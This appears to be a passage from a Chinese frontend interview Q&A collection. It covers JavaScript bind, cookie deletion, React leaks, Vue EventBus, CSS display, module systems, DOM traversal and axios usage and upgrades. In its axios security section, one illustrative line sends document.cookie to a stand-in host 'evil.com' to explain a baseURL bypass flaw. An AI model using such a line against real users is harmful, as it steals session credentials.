无法改变。但预设参数会叠加。function fn(a, b, c) { return [a, b, c]; }const bound1 = fn.bind({ x: 1 }, 1);const bound2 = bound1.bind({ x: 2 }, 2);console.log(bound2(3)); // [1, 2, 3],this 仍是 { x: 1 }追问bind 返回的函数再用 new 调用会发生什么?new 优先级高于 bind。new 创建的新对象会作为 this,bind 指定的 this 被忽略,但预设参数仍然生效。这是 ES5 规范明确规定的优先级:new > bind > apply/call > 默认绑定。call、apply、bind 三者区别?call(thisArg, arg1, arg2, ...):逐个传参,立即执行apply(thisArg, [arg1, arg2]):数组传参,立即执行bind(thisArg, arg1, arg2):预设 this 和参数,返回新函数,不立即执行三者的核心差异在于执行时机和传参方式。实际开发中 bind 常用于事件回调保留上下文,call/apply 常用于借用方法或类数组转数组。为什么要用 fNOP 做中介而不是直接赋值 prototype?直接 bound.prototype = fn.prototype 会导致两者引用同一个对象,后续对 bound.prototype 的修改(如添加属性)会污染原函数的原型。fNOP 中介创建了一个以 fn.prototype 为原型的新对象,既保证 instanceof 正确,又隔离了修改影响。
前端阅读 415月28日 03:20

如何删除一个 Cookie 值?

前端删除 Cookie 的核心思路是让浏览器判定它已过期,浏览器会在下次清理时自动移除。JavaScript 没有原生的 deleteCookie API,只能通过 document.cookie 重新设置同名 Cookie 来"覆盖"并使其失效。方法一:设置 expires 为过去时间document.cookie = 'key=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/';这是最经典的做法,兼容所有浏览器。expires 接收一个 HTTP 日期格式的字符串,只要时间早于当前时间,浏览器就会删除该 Cookie。方法二:设置 max-age 为 0document.cookie = 'key=; max-age=0; path=/';max-age 是 HTTP/1.1 的属性,单位为秒。设为 0 表示立即过期。现代浏览器优先使用 max-age,当 expires 和 max-age 同时存在时,max-age 优先生效。IE9 以下不支持 max-age,但这类浏览器已基本退出市场。删除失败的常见原因这是面试中最容易踩坑的地方,也是区分"背答案"和"真正理解"的分水岭。path 和 domain 必须匹配Cookie 的唯一标识是 name + domain + path 三元组。删除时这三项必须与原 Cookie 完全一致,否则浏览器会创建一个新 Cookie 而非删除旧的:// 原 Cookie 设置时指定了 path=/ 和 domain=.example.com// 删除时也必须带上相同的 path 和 domaindocument.cookie = 'key=; max-age=0; path=/; domain=.example.com';// 错误示例:漏掉 path,默认使用当前路径(如 /user)// 这会在 /user 下创建一个新 Cookie,原来的 Cookie 仍在document.cookie = 'key=; max-age=0'; // 删除失败面试中经常追问:如果不指定 path,默认值是什么? 答案是当前页面的路径(location.pathname),不是 /。这是很多人删除 Cookie 失败的首要原因。HttpOnly 的 Cookie 前端无法删除HttpOnly 标记的 Cookie 对 JavaScript 完全不可见,document.cookie 读取不到,自然也无法删除。只能由服务端通过 Set-Cookie 响应头来删除:Set-Cookie: key=; max-age=0; path=/; HttpOnly子域名与父域名的权限隔离浏览器的安全策略规定:子域名页面无法删除父域名设置的 Cookie。如果 Cookie 的 domain 是 .example.com,在 sub.example.com 页面上删除时必须指定 domain=.example.com:// 在 sub.example.com 页面执行document.cookie = 'key=; max-age=0; path=/; domain=.example.com';反过来,父域名页面也无法删除子域名专属的 Cookie(即 domain 设为 sub.example.com 的 Cookie)。这是浏览器的域隔离机制,防止跨域篡改。服务端删除 Cookie当 Cookie 设置了 HttpOnly 或者需要确保一定删除成功时,应该由服务端通过 Set-Cookie 响应头操作:// Node.js / Express 示例res.setHeader('Set-Cookie', 'key=; max-age=0; path=/; HttpOnly; Secure; SameSite=Lax');服务端删除的好处是可以操作所有属性的 Cookie,包括 HttpOnly 和 Secure 标记的。退出登录场景通常由后端统一清除认证 Cookie,前端只负责跳转。批量删除当前域所有 Cookie实际开发中有时需要清除当前域名下所有 Cookie(如退出登录、切换账号):function clearAllCookies() { const cookies = document.cookie.split(';'); for (const cookie of cookies) { const name = cookie.split('=')[0].trim(); // 尝试多种 path 组合,确保能匹配到 document.cookie = `${name}=; max-age=0; path=/`; document.cookie = `${name}=; max-age=0`; }}注意这个方法只能删除非 HttpOnly 的 Cookie,且如果 Cookie 设置了特定 domain,单纯遍历 document.cookie 是拿不到 domain 信息的,可能删不干净。追问Secure Cookie 前端能操作吗?HTTPS 环境下可以。Secure 属性只限制传输层面——Cookie 不会随 HTTP(非加密)请求发送,但 document.cookie 的读写是 JavaScript 层面的操作,与传输协议无关。在 HTTPS 页面上,JS 可以正常读取和删除带 Secure 的 Cookie。SameSite 属性对删除有影响吗?没有。SameSite 控制的是 Cookie 在跨站请求中是否发送(防 CSRF),不影响 JS 对 Cookie 的删除操作。删除时不需要指定 SameSite 属性。但需要注意:Chrome 80+ 将未设置 SameSite 的 Cookie 默认视为 Lax,这影响的是请求发送行为,与删除无关。会话 Cookie(Session Cookie)怎么删除?会话 Cookie 没有设置 expires 或 max-age,浏览器关闭后自动消失。但如果想在当前会话中主动删除它,方法一样——设置 max-age=0 或 expires 为过去时间即可。会话 Cookie 和持久化 Cookie 的删除方式没有区别。删除 Cookie 时 value 要留空吗?推荐留空但不强制。document.cookie = 'key=; max-age=0' 和 document.cookie = 'key=deleted; max-age=0' 都能删除。留空只是语义更清晰。真正触发删除的是 max-age=0 或过去的 expires,与 value 无关。
前端阅读 455月28日 03:20

React 项目中常见的内存泄漏场景有哪些?

核心场景React 组件卸载后,与之关联的副作用如果没有同步清除,就会产生内存泄漏。实际项目中主要分四类:异步操作更新已卸载组件的状态在组件内发起 fetch 请求,组件卸载了请求才回来,此时 setState 会触发 React 的 warning(React 18 下已移除该 warning,但逻辑上的泄漏仍然存在)。setTimeout/setInterval 同理——组件卸载了定时器还在跑,回调里访问了过期的 state 或调用 setState。// 泄漏写法useEffect(() => { fetch('/api/data').then(res => res.json()).then(setData);}, []);// 修复:用 AbortController 取消请求useEffect(() => { const controller = new AbortController(); fetch('/api/data', { signal: controller.signal }) .then(res => res.json()) .then(setData) .catch(err => { if (err.name !== 'AbortError') throw err; }); return () => controller.abort();}, []);事件监听未移除在 useEffect 里给 window、document 或 DOM 节点添加了 resize、scroll、keydown 等监听,但 cleanup 里没有 removeEventListener。监听回调持有组件作用域的引用,组件实例无法被 GC 回收。useEffect(() => { const handleResize = () => setWidth(window.innerWidth); window.addEventListener('resize', handleResize); return () => window.removeEventListener('resize', handleResize);}, []);闭包持有大对象引用useCallback/useMemo/useRef 的闭包里引用了不再需要的大对象(比如接口返回的完整列表、Blob 数据等),只要闭包还在,这些对象就无法被回收。常见于列表页缓存整个数据集却只展示部分。// 泄漏:闭包引用了全量数据const filteredList = useMemo(() => largeList.filter(fn), [largeList]);// 优化:只保留需要的字段,尽早释放原引用const filteredList = useMemo( () => largeList.map(item => ({ id: item.id, name: item.name })).filter(fn), [largeList]);未清理的订阅与第三方实例WebSocket、EventSource、IntersectionObserver、ResizeObserver、MutationObserver 这些 API 都需要手动 close()/disconnect()。第三方库(如 Redux 的 subscribe、RxJS 的 Observable.subscribe、ECharts 实例)同理,组件卸载时必须调用对应的销毁方法。useEffect(() => { const ws = new WebSocket('wss://example.com'); ws.onmessage = (e) => setMessage(JSON.parse(e.data)); return () => ws.close();}, []);修复思路核心原则:useEffect 的 setup 和 cleanup 必须对称——setup 里获取了什么资源,cleanup 里就要释放什么。具体做法:异步请求用 AbortController 取消定时器用 clearTimeout/clearInterval 清除DOM 事件用 removeEventListener 移除订阅类 API 调用 close()/disconnect()/unsubscribe()大对象引用用 useRef 配合手动置 null 释放追问useEffect 的 cleanup 什么时候执行?组件卸载时,或者下一次 effect 执行前(依赖项变化时先跑旧 cleanup 再跑新 effect)。React 18 StrictMode 下开发模式会额外执行一次 setup+cleanup 来暴露遗漏的清理逻辑。怎么排查 React 内存泄漏?Chrome DevTools → Memory 面板 → 取 Heap Snapshot。操作组件(挂载→卸载→挂载→卸载),对比两次 snapshot。如果 Detached DOM 节点或组件实例数量持续上升,说明有泄漏。也可以用 React DevTools Profiler 观察 React 组件树是否出现已卸载组件仍存在的现象。React 18 对内存泄漏有什么影响?React 18 移除了 "Can't perform a React state update on an unmounted component" 的 warning,但泄漏本身并未消失——未清理的闭包引用和事件监听仍然存在。同时 StrictMode 在开发模式下双重挂载组件,更容易暴露 cleanup 遗漏的问题。此外并发特性(Suspense、useTransition)引入了组件挂载-卸载-重新挂载的新生命周期,对 cleanup 的正确性要求更高。
前端阅读 715月28日 03:15

如何在 Vue 中实现事件总线 EventBus?

Vue 2 里用一个空 Vue 实例做中央事件通道,组件通过它发事件和听事件:// event-bus.jsimport Vue from 'vue';export const EventBus = new Vue();发送端 EventBus.$emit,接收端 EventBus.$on,销毁前必须 EventBus.$off 解绑——忘了这一步就是内存泄漏。典型场景:登录弹窗成功后通知导航栏更新头像,两个组件隔了好几层,props 传递不现实,EventBus 几行代码搞定。Vue 3 移除了 $on/$off,官方推荐用 mitt 替代,写法几乎一样:import mitt from 'mitt';export const bus = mitt();// 发送bus.emit('login-success', { user: 'xxx' });// 监听bus.on('login-success', handler);// 移除bus.off('login-success', handler);追问Vue 3 为什么移除 $on/$off?Vue 3 的响应式体系更推崇单向数据流和显式状态管理。EventBus 是隐式依赖——组件 A emit 一个事件,组件 B 在哪监听的完全不知道,出了 bug 追踪困难。Vue 团队认为这种模式弊大于利,干脆砍掉。如果确实需要事件模式,mitt 只有 200 字节,功能够用。EventBus 和 Pinia 怎么选?EventBus 适合"通知型"通信——A 告诉 B 发生了什么事,不需要持久化数据。Pinia 适合"状态型"通信——多个组件共享同一份数据,需要 devtools 调试和变更追溯。事件一多就别用 EventBus,散落在各组件里的 on/off 根本理不清,直接上 Pinia。为什么必须 $off?忘了会怎样?组件销毁了但 EventBus 实例还活着,回调引用还在,下次 emit 还会执行——操作一个已销毁组件的 this,轻则报错重则数据错乱。更严重的是 EventBus 持有回调闭包,闭包引用了组件实例,GC 无法回收,这就是内存泄漏。Vue 2 里如果用了箭头函数做 handler,$off 时传引用也解不掉,必须用命名函数。EventBus 事件名冲突怎么办?大型项目里十几个组件各自 emit/on,事件名撞了根本不会报错——只是 A 的数据莫名其妙到了 B。解法:统一在常量文件里定义事件名,禁止硬编码字符串。更好的做法是如果事件超过 5-6 个就别用 EventBus 了,换 Pinia。TypeScript 下 mitt 怎么做类型安全?mitt 支持泛型约束事件 map:type Events = { 'login-success': { user: string }; 'logout': undefined;};const bus = mitt<Events>();bus.emit('login-success', { user: 'xxx' }); // ✓bus.emit('wrong-name', {}); // ✗ 类型报错这样事件名和 payload 类型都有编译期检查,比 Vue 2 的 EventBus 安全得多。
前端阅读 575月28日 03:15

CSS display 有哪些值?面试必考的 9 个属性详解

CSS display 控制元素在页面上的渲染方式,面试常考的就这几个:none — 元素不渲染、不占空间,从布局树中移除。和 visibility: hidden 的关键区别:后者保留空间只隐藏视觉效果。频繁切换显隐优先用 visibility,因为只触发重绘不触发回流。block — 独占一行,可设宽高。<div>、<p>、<h1> 默认就是 block。inline — 不换行,宽高由内容撑开,垂直方向的 margin/padding 不生效。<span>、<a> 默认 inline。inline-block — 对外像 inline 不换行,对内像 block 能设宽高。做横排按钮、导航菜单首选。flex — 弹性布局容器,子元素沿主轴排列。居中、等分空间、对齐一行搞定,一维布局主力。grid — 网格布局容器,同时控制行和列。二维布局(如页面骨架、卡片网格)用 grid 更直观。table 系列(table / table-row / table-cell)— 不用 <table> 标签也能模拟表格布局,现在主要用来做垂直居中(table-cell + vertical-align)。contents — 元素本身不生成盒子,子元素直接参与父级布局。做组件封装时有用,不想让容器标签影响布局。flow-root — 创建新的 BFC,等效于 clearfix 的正经方案。浮动清除不再需要伪元素 hack。补充一点:现代 CSS 支持 display 双值语法,比如 inline flex 等于 inline-flex,第一个值控制外部显示类型,第二个值控制内部。目前浏览器支持度还不错,面试提一句是加分项。追问inline 元素设置 width/height 为什么不生效?CSS 规范规定非替换 inline 元素的盒模型由内容决定,宽高属性不适用。想设宽高就换成 inline-block 或 block。但 <img>、<input> 这类替换元素虽然是 inline,却可以设宽高——因为它们有内在尺寸。flex 和 grid 怎么选?一维用 flex,二维用 grid。实际项目经常混搭:外层 grid 做页面骨架,内层 flex 做组件对齐。别纠结"哪个更好",它们解决的不是同一个问题。display: none、visibility: hidden、opacity: 0 有什么区别?| | display: none | visibility: hidden | opacity: 0 ||---|---|---|---|| 占空间 | 不占 | 占 | 占 || 触发回流 | 是 | 否 | 否 || 触发重绘 | 是 | 是 | 否 || 子元素可覆盖 | 否 | 是(设 visible) | 否 || 响应事件 | 否 | 否 | 是 || 可访问性 | 不可见 | 不可见 | 可见 |频繁切换用 visibility(只重绘),需要完全移除用 display: none,做淡入淡出动画用 opacity。display: contents 在实际项目里有什么用?做组件封装时,容器 div 只是想传 props,不想让它参与布局。比如一个 <Card> 组件渲染成 <div class="card"><slot/></div>,但外层用 grid 布局时不希望 .card 这层 div 打断网格结构,这时候给 .card 设 display: contents 就行。注意:contents 会导致元素本身的样式和可访问性语义丢失,屏幕阅读器可能跳过它。
前端阅读 285月28日 03:14

AMD 和 ESModule 有什么区别?为什么 ESModule 能做 Tree-Shaking?

核心区别:AMD 是运行时加载,ESModule 是编译时静态分析。这个根本差异决定了 ESModule 能做 Tree-Shaking,AMD 做不了。AMD 用 define(['dep1', 'dep2'], callback) 声明模块,依赖列表虽然写死了,但 callback 里的逻辑是运行时才执行的——你完全可以在回调里根据条件 require 不同的模块。ESModule 的 import/export 必须写在模块顶层,引擎在解析代码时(还没执行)就能确定整个依赖图。Tree-Shaking 就靠这个:Webpack/Rollup 静态扫描 import 语句,标记哪些导出被引用了,没被引用的直接从产物中删除。实际效果很直观:import { debounce } from 'lodash-es',打包后只有 debounce 和它的依赖。换成 AMD 的 define(['lodash'], callback),整个 lodash 全量加载,因为工具无法判断 callback 里到底用了 lodash 的哪些方法。追问CommonJS 和 AMD 有什么区别?CommonJS 是同步加载(require 阻塞执行),给 Node.js 设计的,文件都在本地所以同步没问题。AMD 是异步加载(define + 回调),给浏览器设计的,网络请求不能阻塞。两者都不能做 Tree-Shaking——require() 是运行时调用,静态分析搞不定。ESModule 的静态结构除了 Tree-Shaking 还有什么用?Scope Hoisting:Webpack 把多个模块的变量合并到同一个作用域,减少闭包和函数调用开销动态 import() 做代码分割:import() 虽然是动态的,但语法上是个特殊的表达式,构建工具能识别并单独分包浏览器原生支持:<script type="module"> 不需要打包就能跑,Vite 开发模式就靠这个实现秒级热更新现在项目还需要关心 AMD 吗?基本不用了。现代浏览器和 Node.js 都原生支持 ESModule,新项目直接用 ESM。AMD 只在维护老 RequireJS 项目时遇到。面试问这个,考的是你对模块化演进的理解——从全局变量 → IIFE → CommonJS/AMD → ESModule,每个阶段解决什么问题。怎么验证 Tree-Shaking 是否生效?用 Webpack 的 webpack-bundle-analyzer 或 Rollup 的可视化插件看产物体积。常见翻车场景:Babel 把 import 转成了 require(@babel/preset-env 的 modules 选项没关),或者 package.json 没配 "sideEffects": false,这两种情况 Tree-Shaking 都会失效。
前端阅读 295月28日 03:13

如何用 JavaScript 广度优先遍历 DOM 树?

用队列。从根节点入队,每次出队一个节点处理,再把它的子节点依次入队,循环到队列为空。function bfsTraverse(root) { if (!root) return; const queue = [root]; while (queue.length) { const node = queue.shift(); console.log(node.tagName); for (const child of node.children) { queue.push(child); } }}面试官问这道题,考的是你对树形结构和队列的理解——DOM 是棵树,BFS 用队列逐层扩展,DFS 用栈先钻到底。别搞混数据结构就行。追问BFS 和 DFS 在 DOM 上各自适合什么场景?BFS 适合找离根近的节点——比如页面第一个 <article> 标签。DFS 适合找深层嵌套的元素,比如 <head> 里的 <meta>。日常用的 querySelector 浏览器内部走的就是 DFS 前序遍历。shift() 的性能问题怎么解决?Array.prototype.shift() 是 O(n),每次都要移动剩余元素。节点多的时候拖慢整体。两个解法:索引队列(推荐面试写法):function bfsTraverse(root) { if (!root) return; const queue = [root]; let head = 0; while (head < queue.length) { const node = queue[head++]; for (const child of node.children) queue.push(child); }}链表队列:生产环境更稳,但面试写起来费时间,提到就行。实际面试直接写 shift() 版本没问题,能顺嘴提到这个优化点就够了。node.children 和 node.childNodes 有什么区别?children 只返回元素节点(Element),childNodes 返回所有节点包括文本节点、注释节点。BFS 遍历 DOM 树通常用 children,除非你明确要处理文本节点。时间和空间复杂度?时间 O(n),每个节点入队出队各一次。空间 O(w),w 是树的最大宽度——最宽那一层有多少个节点。完全二叉树最宽层约 n/2 个节点,所以最坏空间也是 O(n)。真实项目里什么时候会手写 DOM 遍历?很少。浏览器提供了 querySelectorAll、TreeWalker、NodeIterator 等原生 API,绝大多数场景不需要手写遍历。但面试考这个是在验证你对数据结构的基本功,就像问快排不是为了让你手写排序,而是看你懂不懂分治思想。
服务端阅读 05月28日 01:48

Vue 项目中如何正确使用 axios?从基础封装到 Vue 3 组合式 API 的完整实践

在 Vue 项目中使用 axios 不是简单地调用接口,而是要围绕 Vue 的响应式系统和生命周期做正确的事——请求取消、加载状态、错误处理、逻辑复用,每一环都影响工程质量。下面从面试最常问的封装方式出发,逐步走到 Vue 3 组合式 API 的最佳实践。为什么需要封装 axios?直接在每个组件里 import axios 发请求,看似简单,实则埋下三个隐患:配置散落各处难以统一修改、错误处理逻辑重复书写、换 HTTP 库时要改遍整个项目。封装的核心目的是收拢变化点,让业务代码只关心"调哪个接口、传什么参数"。基础封装:创建请求实例拦截器处理通用逻辑// utils/request.jsimport axios from 'axios'import { ElMessage } from 'element-plus'const service = axios.create({ baseURL: import.meta.env.VITE_API_BASE_URL, timeout: 15000, headers: { 'Content-Type': 'application/json' }})// 请求拦截:注入 token、防缓存service.interceptors.request.use(config => { const token = localStorage.getItem('token') if (token) { config.headers.Authorization = `Bearer ${token}` } if (config.method === 'get') { config.params = { ...config.params, _t: Date.now() } } return config})// 响应拦截:统一错误处理service.interceptors.response.use( response => { const res = response.data if (res.code !== 200) { ElMessage.error(res.message || '请求失败') return Promise.reject(new Error(res.message)) } return res.data }, error => { if (error.response) { const { status } = error.response if (status === 401) { ElMessage.error('登录已过期') localStorage.removeItem('token') window.location.href = '/login' } else if (status === 403) { ElMessage.error('没有权限') } else if (status === 500) { ElMessage.error('服务器错误') } } else { ElMessage.error('网络异常,请检查连接') } return Promise.reject(error) })export default service拦截器要遵循一个原则:只处理通用逻辑,业务特殊逻辑留在调用方。比如某些接口 401 不需要跳登录页,应该让调用方自己处理,拦截器可以通过 config._skipAuthRedirect 这样的标记来跳过。按模块组织 API 函数// api/user.jsimport request from '@/utils/request'export const userApi = { getInfo: () => request.get('/user/info'), updateInfo: data => request.put('/user/info', data), uploadAvatar: file => { const formData = new FormData() formData.append('file', file) return request.post('/user/avatar', formData, { headers: { 'Content-Type': 'multipart/form-data' } }) }}// api/article.jsexport const articleApi = { getList: params => request.get('/articles', { params }), getDetail: id => request.get(`/articles/${id}`), create: data => request.post('/articles', data)}API 函数层的作用是把 URL 和参数格式从组件中剥离,组件只调函数,不关心路径和字段名。后续接口变更只改这一层。Vue 3 组合式 API 中使用 axios基本用法与请求取消Vue 3 组件中发请求,必须处理两件事:加载状态和组件卸载时取消请求。不取消请求会导致卸载后 setState 报错,或者数据错乱。<script setup>import { ref, onMounted, onUnmounted } from 'vue'import { userApi } from '@/api/user'const user = ref(null)const loading = ref(false)const error = ref(null)let controller = nullconst fetchUser = async () => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { user.value = await userApi.getInfo({ signal: controller.signal }) } catch (err) { if (err.name !== 'AbortError') { error.value = err.message } } finally { loading.value = false }}onMounted(fetchUser)onUnmounted(() => controller?.abort())</script>关键点:用 AbortController 代替已废弃的 CancelToken,每次请求前取消上一次未完成的请求,onUnmounted 里再兜底一次。封装通用 Composable每个组件都写一遍 loading/error/cancel 逻辑显然不现实,抽成可复用的组合函数:// composables/useRequest.jsimport { ref, onUnmounted } from 'vue'export function useRequest(apiFn, options = {}) { const { immediate = false } = options const data = ref(null) const loading = ref(false) const error = ref(null) let controller = null const execute = async (...params) => { if (controller) controller.abort() controller = new AbortController() loading.value = true error.value = null try { data.value = await apiFn(...params, { signal: controller.signal }) return data.value } catch (err) { if (err.name !== 'AbortError') { error.value = err throw err } } finally { loading.value = false } } onUnmounted(() => controller?.abort()) if (immediate) execute() return { data, loading, error, execute }}组件中使用变得极简:<script setup>import { useRequest } from '@/composables/useRequest'import { userApi } from '@/api/user'const { data: user, loading, error, execute: refresh } = useRequest( userApi.getInfo, { immediate: true })</script>结合 Pinia 管理全局状态当多个组件需要共享同一份接口数据时(比如用户信息),Composable 就不够用了,应该用 Pinia:// stores/user.jsimport { defineStore } from 'pinia'import { ref, computed } from 'vue'import { userApi } from '@/api/user'export const useUserStore = defineStore('user', () => { const userInfo = ref(null) const loading = ref(false) const isLoggedIn = computed(() => !!userInfo.value) const fetchUserInfo = async () => { loading.value = true try { userInfo.value = await userApi.getInfo() } finally { loading.value = false } } const logout = () => { userInfo.value = null localStorage.removeItem('token') } return { userInfo, loading, isLoggedIn, fetchUserInfo, logout }})选择 Composable 还是 Pinia 的判断标准:数据是否跨组件共享。只在一个组件内用,Composable 足够;多个组件都要读同一份数据,用 Pinia。进阶:重试与请求防抖自动重试机制网络波动导致的偶发失败,自动重试比直接报错体验好得多:// utils/retry.jsexport function withRetry(requestFn, retries = 2, delay = 1000) { return async (...args) => { let lastError for (let i = 0; i <= retries; i++) { try { return await requestFn(...args) } catch (err) { lastError = err if (i < retries) { await new Promise(resolve => setTimeout(resolve, delay * (i + 1))) } } } throw lastError }}// 使用const fetchWithRetry = withRetry(userApi.getInfo, 2, 800)搜索防抖搜索场景下,用户每输入一个字符就发请求既浪费又卡顿,必须防抖:// composables/useDebouncedRequest.jsimport { ref, watch } from 'vue'export function useDebouncedRequest(apiFn, wait = 400) { const loading = ref(false) let timer = null const execute = (keyword) => { clearTimeout(timer) return new Promise((resolve, reject) => { timer = setTimeout(async () => { loading.value = true try { resolve(await apiFn(keyword)) } catch (err) { reject(err) } finally { loading.value = false } }, wait) }) } return { execute, loading }}Vue 2 项目中的注意事项Vue 2 没有组合式 API,但有相同的诉求。核心差异两点:请求取消用 CancelToken(Vue 2 项目通常用旧版 axios),在 beforeDestroy 钩子中调用 cancel()逻辑复用用 mixin,但 mixin 有命名冲突风险,优先用独立的工具函数// Vue 2 组件内export default { data() { return { user: null, loading: false } }, created() { this.cancelToken = axios.CancelToken.source() this.fetchUser() }, beforeDestroy() { this.cancelToken.cancel('组件销毁') }, methods: { async fetchUser() { this.loading = true try { const { data } = await userApi.getInfo({ cancelToken: this.cancelToken.token }) this.user = data } catch (err) { if (!axios.isCancel(err)) console.error(err) } finally { this.loading = false } } }}总结:axios 在 Vue 项目中的核心原则回答面试题时,抓住这三条主线:封装收拢变化(实例、拦截器、API 模块化)、组合式 API 复用逻辑(Composable 抽 loading/error/cancel、Pinia 管共享状态)、边界场景兜底(请求取消、重试、防抖)。能讲清为什么这么做,比贴完整代码更有说服力。
服务端阅读 05月28日 01:48

axios 从 0.x 到 1.x 经历了哪些重大变更?升级和兼容性问题怎么处理

Axios 是前端最常用的 HTTP 客户端之一,从 2014 年发布 0.1.0 到 2026 年的 1.16.x,经历了多次重大版本变更和安全修复。掌握这些变化不仅有助于日常项目维护,也是前端面试中的高频考点。版本演进全景Axios 的版本发展可以分为三个阶段:0.x 探索期(2014-2022)、1.0 稳定期(2022-2024)、安全强化期(2025-2026)。每个阶段都有影响开发者使用方式的关键变更。里程碑版本速览| 版本 | 时间 | 核心变更 ||------|------|----------|| 0.1.0 | 2014 | 初始发布,基于 Promise 的 HTTP 客户端 || 0.9.0 | 2015 | 引入拦截器机制 || 0.12.0 | 2016 | 添加 CancelToken 取消请求 || 0.16.0 | 2017 | 支持 async/await || 0.18.0 | 2018 | 修复 XSS 漏洞 || 0.19.0 | 2019 | 改进错误处理,引入 validateStatus || 0.21.0 | 2020 | 重大安全更新 || 1.0.0 | 2022 | 正式版,CancelToken 废弃,推荐 AbortController || 1.6.0 | 2023 | 支持 Fetch API 适配器 || 1.8.0 | 2025 | 引入 allowAbsoluteUrls 配置 || 1.13.0 | 2025 | 支持 HTTP/2 || 1.15.0 | 2026 | 修复多个严重安全漏洞 || 1.16.1 | 2026 | 支持 QUERY 方法,安全加固 |0.x 时期的关键变更validateStatus 让错误处理更灵活(v0.19.0)0.19.0 之前,只要服务端返回非 2xx 状态码,axios 就会抛出错误进入 catch。这在某些场景下不够灵活——比如 404 在业务逻辑中可能是正常情况。// 0.19.0 之后:自定义哪些状态码才算错误axios.get("/api/user", { validateStatus: function (status) { return status < 500; // 只有 500+ 才抛错 },});TypeScript 泛型支持(v0.20.0)0.20.0 改进了类型定义,支持泛型参数,告别了 response.data 的 any 类型。interface User { id: number; name: string;}// 泛型推断,response.data 类型为 Userconst { data } = await axios.get<User>("/api/user");1.0 正式版的重大变更CancelToken 废弃,改用 AbortController这是 1.0 最大的破坏性变更。CancelToken 是 axios 自建的取消机制,而 AbortController 是 Web 标准API,两者在用法和语义上完全不同。// 旧写法(已废弃)const source = axios.CancelToken.source();axios.get("/api/data", { cancelToken: source.token });source.cancel("取消请求");// 新写法(推荐)const controller = new AbortController();axios.get("/api/data", { signal: controller.signal });controller.abort("取消请求");迁移时需要注意两点:abort() 调用后 signal 不可复用,需要新建 AbortController;cancel() 的错误对象是 CancelError,而 abort() 抛出的是 DOMException。请求参数序列化行为变更1.x 对 URL 参数的序列化规则做了调整:null 值序列化为空字符串,undefined 值直接忽略,嵌套对象使用方括号表示法。如果后端依赖旧的序列化格式,升级后可能出现参数丢失。// 1.x 的序列化结果// { a: null, b: undefined, c: { d: 1 } } → a=&c[d]=1Fetch API 适配器(v1.6.0)1.6.0 引入了 Fetch API 适配器,让 axios 可以基于浏览器原生 fetch 运行,不再依赖 XMLHttpRequest。// 使用 fetch 适配器const instance = axios.create({ adapter: "fetch" });// 条件选择适配器const instance = axios.create({ adapter: typeof window !== "undefined" && "fetch" in window ? "fetch" : "xhr",});2025-2026 安全修复风暴2025 年以来 axios 集中修复了多个高危安全漏洞,这些 CVE 直接影响线上项目的安全性,是面试中区分深度的关键知识点。CVE-2025-27152:绝对 URL 导致 SSRF 和凭证泄露影响版本:≤ 1.7.9。当请求路径传入绝对 URL 时,即使设置了 baseURL,axios 仍会将请求发送到该绝对 URL 指向的地址,攻击者可以利用这一点发起 SSRF 攻击并窃取认证信息。1.8.0 引入了 allowAbsoluteUrls 配置项来控制此行为,1.8.2 修复了此漏洞。// 风险场景:baseURL 被绕过const client = axios.create({ baseURL: "https://api.example.com" });// 攻击者控制路径参数时,请求可能发往外部域名client.get("https://evil.com/steal?cookie=" + document.cookie);// 修复:禁用绝对 URLconst client = axios.create({ baseURL: "https://api.example.com", allowAbsoluteUrls: false,});CVE-2025-58754:data URI 导致内存耗尽影响版本:0.28.0 - 1.11.0。axios 对 data URI 的处理没有执行 maxContentLength 和 maxBodyLength 的限制检查,攻击者可以构造超大 data URI 导致 Node.js 进程内存耗尽。1.12.0 修复了此漏洞。CVE-2025-62718:NO_PROXY 主机名绕过影响版本:≤ 1.14.1。axios 在匹配 NO_PROXY 规则时没有对主机名做规范化处理,攻击者可以通过主机名的不同表示形式绕过代理规则,实现 SSRF。1.15.0 修复。CVE-2026-25639:mergeConfig 中的原型污染 DoS影响版本:1.0.0 - 1.13.4。mergeConfig 函数在合并配置时未过滤 proto 键,攻击者可以通过注入 proto 属性触发原型污染,导致 DoS。1.13.5 修复。兼容性处理实战浏览器环境兼容axios 依赖 Promise 和 XMLHttpRequest(或 Fetch API),在旧浏览器中需要 polyfill。实际项目中更推荐按特性检测来决定适配器策略,而不是一刀切。import axios from "axios";// 根据环境自动选择适配器function createClient(config = {}) { const adapter = typeof fetch !== "undefined" ? "fetch" : typeof XMLHttpRequest !== "undefined" ? "xhr" : undefined; // Node.js 使用 http 适配器 return axios.create({ adapter, ...config });}Node.js 环境兼容axios 1.x 的 Node.js 适配器需要 Node.js 12+。在 SSR 场景中,同一段代码可能在浏览器和 Node.js 中运行,需要根据环境配置不同的 Agent。const instance = axios.create({ // Node.js 环境配置 keep-alive ...(typeof process !== "undefined" && { httpAgent: new (require("http").Agent)({ keepAlive: true }), httpsAgent: new (require("https").Agent)({ keepAlive: true }), }),});版本兼容封装在维护多个项目或渐进式升级时,封装一层兼容层可以隔离版本差异,降低升级成本。// compat.js - 版本兼容封装import axios from "axios";const isV1 = axios.VERSION && axios.VERSION.startsWith("1.");// 统一取消请求接口export function createCancelableRequest() { if (isV1) { const controller = new AbortController(); return { signal: controller.signal, cancel: (msg) => controller.abort(msg), }; } const source = axios.CancelToken.source(); return { cancelToken: source.token, cancel: (msg) => source.cancel(msg), };}// 统一实例创建export function createInstance(config = {}) { return axios.create({ ...config, ...(isV1 && { transitional: { clarifyTimeoutError: true, forcedJSONParsing: true }, }), });}从 0.x 升级到 1.x 的检查清单升级前逐项排查,可以避免大部分线上故障。第一步:排查 CancelToken 使用。全局搜索 CancelToken 和 source.cancel,替换为 AbortController。注意 abort() 后 signal 不可复用,循环请求场景需要每次新建 controller。第二步:检查参数序列化。如果后端依赖 null 参数传空字符串的行为,确认升级后序列化结果是否一致。可以用 paramsSerializer 自定义序列化逻辑。第三步:检查 TypeScript 类型。1.x 的类型导出路径有调整,AxiosResponse、AxiosRequestConfig 等需要确认导入方式。第四步:检查自定义适配器。如果项目中使用了自定义适配器(如缓存适配器、Mock 适配器),需要适配 1.x 的适配器接口变更。第五步:安全版本确认。确保升级到 1.15.1 以上版本,修复所有已知 CVE。低于 1.15.0 的版本至少存在两个未修复的安全漏洞。版本锁定与更新策略生产环境中,推荐锁定 axios 的精确版本号,避免隐式升级引入兼容性问题。同时定期检查安全更新。{ "dependencies": { "axios": "1.16.1" }}对于 Monorepo 或微前端项目,使用 resolutions 字段统一 axios 版本,避免不同子项目引用不同版本。{ "resolutions": { "axios": "1.16.1" }}追问:axios 和 